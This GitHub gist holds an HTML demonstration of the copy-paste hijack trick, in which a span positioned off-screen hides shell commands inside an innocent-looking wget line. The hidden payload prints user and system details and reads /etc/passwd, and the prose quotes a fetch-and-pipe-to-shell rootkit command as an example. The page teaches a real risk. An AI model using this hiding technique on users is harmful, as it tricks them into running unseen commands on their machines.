Skip to content

Instantly share code, notes, and snippets.

@0x9090
Last active April 23, 2018 18:43
Show Gist options
  • Save 0x9090/4d14a68afe6c8314f92e to your computer and use it in GitHub Desktop.
Save 0x9090/4d14a68afe6c8314f92e to your computer and use it in GitHub Desktop.
copy / paste hijack trick
<html>
<head>
<title>sneaky copy-paste terminal example</title>
</head>
<style>
.codeblock {
background-color: lightyellow;
border: 1px dotted black;
margin-left: 50px;
display: inline-block;
}
</style>
<body>
<h3>intro</h3>
<p>
<font size=3> This shows an example of how it is dangerous to copy and paste lines of code from a website into your terminal, even if they are seemingly plaintext. I'm not talking about that shit where it's obviously bad to run something like <i>wget http://evilhax.or/rootkit.sh -O - | sh</i><br>Oh no, my friends. This is far worse. This is not anything new to the world, I had just happened to see it mentioned elsewhere earlier today and I found it interesting.</p>
<h3>hax</h3>
<p>
<ul>
<li>select the line of code in the box below with your mouse</li>
<li>copy it using ctrl+c (cmd+c on osx, whatever...)</li>
<li>paste it into your terminal</li>
<li>be..fucking...amazed...</li>
</ul>
</p>
<p class="codeblock">
wget <span style="position: absolute; left: -100px; top: -100px">/dev/null; clear; echo -n "Hey there ";whoami|tr -d '\n';echo -e "\nheres some info from your box:\n";uname -a; hostname; head -n1 /etc/passwd<br></span>http://www.nullable.software/hi/copypasta.html
</p>
<h3>references</h3>
<ul>
<li> http://www.ush.it/team/ascii/hack-tricks_253C_CCC2008/wysinwyc/what_you_see_is_not_what_you_copy.txt</li>
<li> http://www.reddit.com/r/netsec/comments/1bv359/dont_copypaste_from_website_to_terminal_demo/</li>
</ul>
</font>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment